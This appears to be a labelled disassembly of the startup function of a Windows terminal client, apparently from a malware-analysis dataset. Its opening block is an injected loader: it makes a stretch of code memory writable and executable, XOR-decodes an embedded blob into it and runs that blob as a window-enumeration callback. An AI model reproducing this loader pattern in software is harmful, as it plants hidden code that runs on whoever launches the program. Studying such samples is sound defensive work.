Function at 0x457710
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get keyboard layout
Hide graphical window
Read file via mapping
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [0x4e60ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0x10]
push str.kernel32.dll
mov dword [ebp - 0x40], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], 0
push eax
push 0x40
push 0x18d5
push ebx
call esi
test eax, eax
jne 0x45778c
push 4
push 0x1000
push 0x18d5
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x54]
push eax
push 0x40
push 0x18d5
push edi
call esi
jmp 0x45778e
mov edi, ebx
mov bl, byte [0x4e47a8]
mov esi, 0x4e47a8
xor bl, 0x90
mov ecx, edi
sub esi, edi
mov edx, 0x18d5
nop
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, bl
nop
nop
nop
mov byte [ecx - 1], al
sub edx, 1
jne 0x4577a5
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
call fcn.00461af0
mov eax, dword [ebp - 0x48]
mov dword [0x4ead90], eax
mov dword [0x4ead98], 0
mov dword [0x4eadb8], 5
call fcn.00462fa0
call fcn.00452120
call fcn.004615f0
call fcn.004557d0
call fcn.00461ff0
test eax, eax
jne 0x45785c
push dword [0x4be594]
push str._s_Fatal_Error
call fcn.0040dda0
add esp, 8
mov esi, eax
push 0x30
push esi
push str.Windows_refuses_to_report_a_version
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call eax
push esi
call fcn.0040e430
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.0046aced
mov esp, ebp
pop ebp
ret 0x10
cmp dword [0x4eace4], 4
jb 0x457870
jne 0x457880
cmp dword [0x4eacf0], 2
je 0x457880
push str.MSWHEEL_ROLLMSG
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
mov dword [0x4e6088], eax
call fcn.00460b20
call fcn.0045d260
call fcn.004032c0
push 0
mov dword [0x4eada4], eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
je 0x4578c7
cmp eax, 1
je 0x4578c7
push dword [0x4be594]
push str._s_Fatal_Error
call fcn.0040dda0
add esp, 8
mov esi, eax
push 0x30
push esi
push str.Failed_to_initialize_COM_subsystem
jmp 0x457832
mov eax, dword [0x4be590]
xor ebx, ebx
push eax
mov dword [ebp - 0x44], ebx
mov dword [0x4eadb4], eax
call fcn.00412d30
add esp, 4
mov dword [0x4eadb0], ebx
test eax, eax
je 0x4578f1
mov eax, dword [eax + 0x4c]
mov dword [0x4eadb0], eax
push 0
push 0x78
push dword [0x4eada4]
call fcn.00403560
push dword [0x4eada4]
push 0
call fcn.00412d60
mov esi, dword [ebp - 0x40]
add esp, 0x14
mov edi, esi
mov al, byte [esi]
test al, al
je 0x457938
nop dword [eax + eax]
movsx eax, al
push eax
call fcn.0048f366
add esp, 4
test eax, eax
je 0x457938
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x457920
mov al, byte [edi]
cmp al, 0x26
jne 0x457974
cmp byte [edi + 1], 0x52
jne 0x4579e7
mov al, byte [edi + 2]
lea esi, [edi + 2]
test al, al
je 0x45795e
cmp al, 0x40
je 0x45795e
cmp al, 0x26
jne 0x4579e7
call fcn.00465f80
mov dword [0x4ead74], 1
mov edi, esi
mov al, byte [esi]
mov esi, dword [ebp - 0x40]
cmp al, 0x40
jne 0x4579e3
mov esi, edi
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x457980
sub esi, ecx
cmp esi, 1
jle 0x4579a8
nop
movsx eax, byte [edi + esi - 1]
push eax
call fcn.0048f366
add esp, 4
test eax, eax
je 0x4579a8
dec esi
cmp esi, 1
jg 0x457990
mov byte [esi + edi], bl
lea eax, [edi + 1]
push dword [0x4eada4]
push eax
call fcn.00412d60
push dword [0x4eada4]
call fcn.0040dc00
add esp, 0xc
test eax, eax
jne 0x4579d9
call fcn.00455810
test eax, eax
je 0x4583ee
mov esi, 1
jmp 0x457ab9
cmp al, 0x26
jne 0x457a55
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [edi + 1]
push str._p:_u
push eax
call fcn.00411d60
add esp, 0x10
cmp eax, 2
jne 0x457a46
push dword [ebp - 0x40]
push 0
push 0
push 4
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x457a46
push dword [ebp - 0x40]
push esi
push dword [0x4eada4]
call fcn.00402e10
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x44]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 1
jmp 0x457ab9
call fcn.00455810
test eax, eax
je 0x4583e7
jmp 0x4579d9
test al, al
je 0x457ab7
push 0
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x40]
push eax
push esi
call fcn.00468e20
mov ecx, dword [ebp - 0x40]
add esp, 0x10
xor edi, edi
test ecx, ecx
jle 0x457ab7
mov eax, dword [ebp - 0x4c]
lea ebx, [edi + 1]
mov esi, dword [eax + edi*4]
cmp ebx, ecx
jge 0x457a88
mov eax, dword [eax + edi*4 + 4]
jmp 0x457a8a
xor eax, eax
push dword [0x4eada4]
push 1
push eax
push esi
call fcn.00401440
add esp, 0x10
cmp eax, 0xfffffffe
je 0x458461
cmp eax, 2
jne 0x457b00
mov edi, ebx
mov ebx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
inc edi
cmp edi, ecx
jl 0x457a75
xor esi, esi
push dword [0x4eada4]
call fcn.00402b30
add esp, 4
cmp dword [0x4eadac], 0
jne 0x457ad8
test ebx, ebx
jne 0x457ad8
test esi, esi
je 0x457aee
push dword [0x4eada4]
call fcn.0040dc00
add esp, 4
test eax, eax
jne 0x457c6b
call fcn.00455810
test eax, eax
je 0x4583ee
jmp 0x457c6b
cmp eax, 1
je 0x457aac
mov ecx, str._cleanup
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x457b30
test dl, dl
je 0x457b2c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x457b30
add eax, 2
add ecx, 2
test dl, dl
jne 0x457b10
xor eax, eax
jmp 0x457b35
sbb eax, eax
or eax, 1
test eax, eax
je 0x45840c
mov ecx, str._pgpfp
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x457b64
test dl, dl
je 0x457b60
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x457b64
add eax, 2
add ecx, 2
test dl, dl
jne 0x457b44
xor eax, eax
jmp 0x457b69
sbb eax, eax
or eax, 1
test eax, eax
je 0x458400
cmp byte [esi], 0x2d
je 0x4583f5
mov ebx, dword [ebp - 0x44]
mov dword [ebp - 0x50], esi
test ebx, ebx
je 0x457b9f
push dword [0x4eada4]
push 1
push esi
push 0x4be768
call fcn.00401440
add esp, 0x10
jmp 0x457aaf
push 7
push str.telnet:
push esi
call fcn.00477610
add esp, 0xc
test eax, eax
jne 0x457c40
add esi, 7
cmp byte [esi], 0x2f
jne 0x457bc8
cmp byte [esi + 1], 0x2f
jne 0x457bc8
add esi, 2
push 1
push 2
push dword [0x4eada4]
call fcn.00403560
push 0x4d4ac0
push esi
call fcn.0040e130
mov cl, byte [eax + esi]
add eax, esi
add esp, 0x14
test cl, cl
je 0x457bf2
mov byte [eax], 0
inc eax
cmp cl, 0x3a
jne 0x457c10
push eax
call fcn.004775a1
push eax
push 1
push dword [0x4eada4]
call fcn.00403560
add esp, 0x10
jmp 0x457c22
push 0xffffffffffffffff
push 1
push dword [0x4eada4]
call fcn.00403560
add esp, 0xc
push esi
push 0
push dword [0x4eada4]
call fcn.004035c0
mov ebx, 1
add esp, 0xc
mov dword [ebp - 0x44], ebx
jmp 0x457aaf
mov al, byte [esi]
test al, al
je 0x457c66
movsx eax, al
push eax
call fcn.0048f366
add esp, 4
test eax, eax
jne 0x457c5e
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x457c46
cmp byte [esi], 0
je 0x457c66
mov byte [esi], 0
push dword [ebp - 0x50]
jmp 0x457c23
push 0
push dword [0x4eada4]
call fcn.00403120
push eax
call fcn.0040ddc0
mov edi, eax
push 0x4c4a08
push edi
call fcn.004913b0
add esp, 0x14
cmp byte [edi + eax], 0
lea esi, [edi + eax]
je 0x457cbf
push 0x40
push esi
call fcn.0046cca0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x457cbf
push esi
mov byte [ebx], 0
push 0x34
push dword [0x4eada4]
call fcn.004035c0
add esp, 0xc
lea esi, [ebx + 1]
push 0x3a
push esi
call fcn.0040e0b0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x457ce4
lea ecx, [ebx + 1]
push 0x3a
push ecx
call fcn.0040e0b0
add esp, 8
test eax, eax
jne 0x457ce4
mov byte [ebx], al
mov al, byte [esi]
mov ecx, edi
test al, al
je 0x457d03
nop dword [eax]
cmp al, 0x20
je 0x457cfb
cmp al, 9
je 0x457cfb
mov byte [ecx], al
inc ecx
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x457cf0
push edi
mov byte [ecx], 0
push 0
push dword [0x4eada4]
call fcn.004035c0
push edi
call fcn.0040e430
add esp, 0x10
cmp dword [ebp + 0xc], 0
jne 0x457d91
mov eax, dword [ebp - 0x48]
push 0xc8
push eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x458480
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f01
push 0
mov dword [ebp - 0x28], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push dword [0x4be594]
mov dword [ebp - 0x24], eax
push 0
push 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
call fcn.0040ea30
add esp, 0xc
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0xb10
push 0
push 0x4e73d8
call fcn.0046c5c0
call fcn.0045b210
call fcn.0045b240
push 0x73
push dword [0x4eada4]
mov dword [0x4e73a4], 0xa
mov dword [0x4e73a8], 0x14
mov dword [0x4e739c], 0x19
mov dword [0x4e73a0], 0x1c
call fcn.004030c0
imul eax, dword [0x4e73a4]
mov edi, dword [0x4e739c]
push 0x74
push dword [0x4eada4]
add edi, eax
call fcn.004030c0
imul eax, dword [0x4e73a8]
mov esi, dword [0x4e73a0]
add esi, eax
lea eax, [ebp - 0x14]
push eax
call fcn.0045caa0
mov ebx, dword [ebp - 0xc]
sub ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
cmp edi, ebx
push dword [0x4be594]
cmovle ebx, edi
sub eax, dword [ebp - 0x10]
cmp esi, eax
mov edi, 0xef0000
cmovle eax, esi
xor esi, esi
push esi
push esi
mov dword [ebp - 0x50], eax
call fcn.0040ea30
push 0x6d
push dword [0x4eada4]
mov dword [ebp - 0x4c], eax
call fcn.004030c0
test eax, eax
mov ecx, 0xcf0000
push 0x6f
push dword [0x4eada4]
cmove edi, ecx
call fcn.004030c0
add esp, 0x3c
cmp eax, 1
jne 0x457e77
and edi, 0xfffaffff
push 0x56
push dword [0x4eada4]
call fcn.004030c0
test eax, eax
mov ecx, 8
push 0x7e
push dword [0x4eada4]
cmovne esi, ecx
call fcn.004030c0
add esp, 0x10
test eax, eax
je 0x457ea8
or esi, 0x200
push 0
push dword [ebp - 0x48]
push 0
push 0
push dword [ebp - 0x50]
push ebx
mov ebx, dword [ebp - 0x4c]
push 0x80000000
push 0x80000000
push edi
push ebx
push ebx
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
push ebx
mov dword [0x4ead98], eax
call fcn.0040e430
push 0
push 0
call fcn.0045cc10
push 0
push 0x4e73d8
push dword [0x4eada4]
call fcn.00449190
push dword [0x4eada4]
mov dword [0x4ead8c], eax
push 0
call fcn.0040ab30
push eax
push dword [0x4ead8c]
mov dword [0x4ead88], eax
call fcn.0044d370
push 0x60
push dword [0x4eada4]
call fcn.004030c0
add esp, 0x30
push eax
push 0x73
push dword [0x4eada4]
call fcn.004030c0
add esp, 8
push eax
push 0x74
push dword [0x4eada4]
call fcn.004030c0
add esp, 8
push eax
push dword [0x4ead8c]
call fcn.0044da50
add esp, 0x10
lea eax, [ebp - 0x24]
push eax
push dword [0x4ead98]
call dword [sym.imp.USER32.dll_GetWindowRect]
lea eax, [ebp - 0x14]
push eax
push dword [0x4ead98]
call dword [sym.imp.USER32.dll_GetClientRect]
push 0x7f
push dword [0x4eada4]
call fcn.004030c0
mov esi, dword [ebp - 0x14]
add esp, 8
sub esi, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 8]
lea ecx, [eax + eax]
sub esi, dword [ebp - 0x24]
sub edx, dword [ebp - 0x20]
add esi, dword [ebp - 0x1c]
add edx, dword [ebp - 0x18]
add esi, ecx
add edx, ecx
mov dword [0x4e73b8], eax
mov ecx, dword [0x4ead8c]
mov dword [0x4e73b4], eax
mov dword [0x4e739c], esi
mov dword [0x4e73a0], edx
mov eax, dword [ecx + 0x128]
imul eax, dword [0x4e73a8]
push 0xe
add eax, edx
push eax
mov eax, dword [ecx + 0x12c]
imul eax, dword [0x4e73a4]
add eax, esi
push eax
push 0
push 0
push 0
push dword [0x4ead98]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [0x4e73a4]
add eax, 0xf
cdq
and edx, 0xf
push 1
lea esi, [edx + eax]
sar esi, 4
imul esi, dword [0x4e73a8]
add esi, esi
push esi
call fcn.0040e450
push esi
mov edi, eax
push 0
push edi
call fcn.0046c5c0
add esp, 0x14
push edi
push 1
push 1
push dword [0x4e73a8]
push dword [0x4e73a4]
call dword [sym.imp.GDI32.dll_CreateBitmap]
push edi
mov dword [0x4e858c], eax
call fcn.0040e430
add esp, 4
push dword [0x4e73a8]
push dword [0x4e73a4]
push dword [0x4e858c]
push dword [0x4ead98]
call dword [sym.imp.USER32.dll_CreateCaret]
mov ecx, dword [0x4ead8c]
mov dword [ebp - 0x30], 0x1c
mov dword [ebp - 0x2c], 0x1f
mov dword [ebp - 0x28], 0
mov eax, dword [ecx + 0x128]
dec eax
mov dword [ebp - 0x24], eax
mov eax, dword [ecx + 0x128]
push 0
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x30]
push eax
push 1
push dword [0x4ead98]
mov dword [ebp - 0x1c], 0
call dword [sym.imp.USER32.dll_SetScrollInfo]
mov dword [0x4e88ac], 0
mov dword [0x4e88b0], 0
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0
push dword [0x4ead98]
mov dword [0x4e88a4], eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov dword [0x4e7f08], eax
call dword [sym.imp.USER32.dll_CreatePopupMenu]
mov ebx, dword [sym.imp.USER32.dll_AppendMenuA]
push str.Paste
push 0x190
push 0
push eax
mov dword [0x4e7f0c], eax
call ebx
call dword [sym.imp.USER32.dll_CreateMenu]
push 1
push 0x4e7f14
mov dword [0x4e7f10], eax
call fcn.00412db0
add esp, 8
call fcn.0045e8f0
xor eax, eax
mov dword [ebp - 0x40], eax
nop dword [eax + eax]
mov edi, dword [eax + 0x4e7f08]
push 0
push 0
push 0x800
push edi
call ebx
push str.Event_Log
push 0x10
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.New_Session...
push 0x20
push 0
push edi
call ebx
push str.Duplicate_Session
push 0x30
push 0
push edi
call ebx
push str.Saved_Sessions
push dword [0x4e7f10]
push 0x10
push edi
call ebx
push str.Change_Settings...
push 0x50
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.Copy_All_to_Clipboard
push 0x170
push 0
push edi
call ebx
push str.Clear_Scrollback
push 0x60
push 0
push edi
call ebx
push str.Reset_Terminal
push 0x70
push 0
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
push str.Full_Screen
push 0x180
push 0x6f
push dword [0x4eada4]
call fcn.004030c0
add esp, 8
dec eax
neg eax
sbb eax, eax
inc eax
push eax
push edi
call ebx
push 0
push 0
push 0x800
push edi
call ebx
call fcn.00460b00
test eax, eax
je 0x458215
push str.Help
push 0x140
push 0
push edi
call ebx
push dword [0x4be594]
push str.About__s
call fcn.0040dda0
add esp, 8
mov esi, eax
push esi
push 0x150
push 0
push edi
call ebx
push esi
call fcn.0040e430
mov eax, dword [ebp - 0x40]
add esp, 4
add eax, 4
mov dword [ebp - 0x40], eax
cmp eax, 8
jb 0x458130
cmp dword [0x4ead74], 0
je 0x458268
push str.Running_with_restricted_process_ACL
push 0
call fcn.00455ac0
add esp, 8
call fcn.0045e400
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
call fcn.0045e180
add esp, 4
push dword [ebp + 0x14]
push dword [0x4ead98]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x4ead98]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [0x4e816c], 0
mov dword [0x4e8588], 0
call fcn.0045d110
mov edi, dword [sym.imp.USER32.dll_GetForegroundWindow]
call edi
xor ecx, ecx
cmp eax, dword [0x4ead98]
sete cl
push ecx
push dword [0x4ead8c]
call fcn.0044da30
add esp, 8
push dword [0x4ead98]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_PeekMessageW]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
nop dword [eax]
call fcn.00401300
test eax, eax
jne 0x458330
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x458330
mov dword [ebp - 0x40], 0xffffffff
call edi
xor ecx, ecx
cmp eax, dword [0x4ead98]
sete cl
push ecx
push dword [0x4ead8c]
call fcn.0044da30
add esp, 8
jmp 0x458337
mov dword [ebp - 0x40], 0
lea eax, [ebp - 0x48]
push eax
call fcn.004603b0
add esp, 4
mov edi, eax
push 0x1cff
push dword [ebp - 0x40]
push 0
push edi
push dword [ebp - 0x48]
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
cmp eax, dword [ebp - 0x48]
jae 0x458369
push dword [edi + eax*4]
call fcn.00460460
add esp, 4
push edi
call fcn.0040e430
add esp, 4
lea eax, [ebp - 0x70]
push 1
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x4583cf
cmp dword [ebp - 0x6c], 0x12
je 0x4583df
push dword [0x4ead94]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4583ae
lea eax, [ebp - 0x70]
push eax
push dword [0x4ead94]
call dword [sym.imp.USER32.dll_IsDialogMessageA]
test eax, eax
jne 0x4583b4
lea eax, [ebp - 0x70]
push eax
call ebx
cmp dword [ebp - 0x6c], 0x8005
jne 0x4583cf
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x70]
push eax
call esi
test eax, eax
jne 0x458384
call fcn.004012c0
mov edi, dword [sym.imp.USER32.dll_GetForegroundWindow]
jmp 0x4582f0
push dword [ebp - 0x68]
call fcn.0045ae60
push 0
call fcn.0045ae60
push 0
call fcn.0045ae60
push esi
push str.unknown_option___s_
call fcn.0045b1b0
call fcn.00468d40
push 1
call fcn.0049b72a
push dword [0x4be594]
push str.This_procedure_will_remove_ALL_Registry_entries_nassociated_with__s__and_will_also_remove_nthe_random_seed_file.__This_only_affects_the_ncurrently_logged_in_user.__n_nTHIS_PROCESS_WILL_DESTROY_YOUR_SAVED_SESSIONS._nAre_you_really_sure_you_want_to_continue_
call fcn.0040dda0
push dword [0x4be594]
mov esi, eax
push str._s_Warning
call fcn.0040dda0
push 4
mov edi, eax
push 0x134
push edi
push esi
call fcn.00468c20
add esp, 0x20
cmp eax, 6
jne 0x45844b
call fcn.00466d80
push esi
call fcn.0040e430
push edi
call fcn.0040e430
add esp, 8
push 0
call fcn.0049b72a
push esi
push str.option___s__requires_an_argument
call fcn.0045b1b0
int3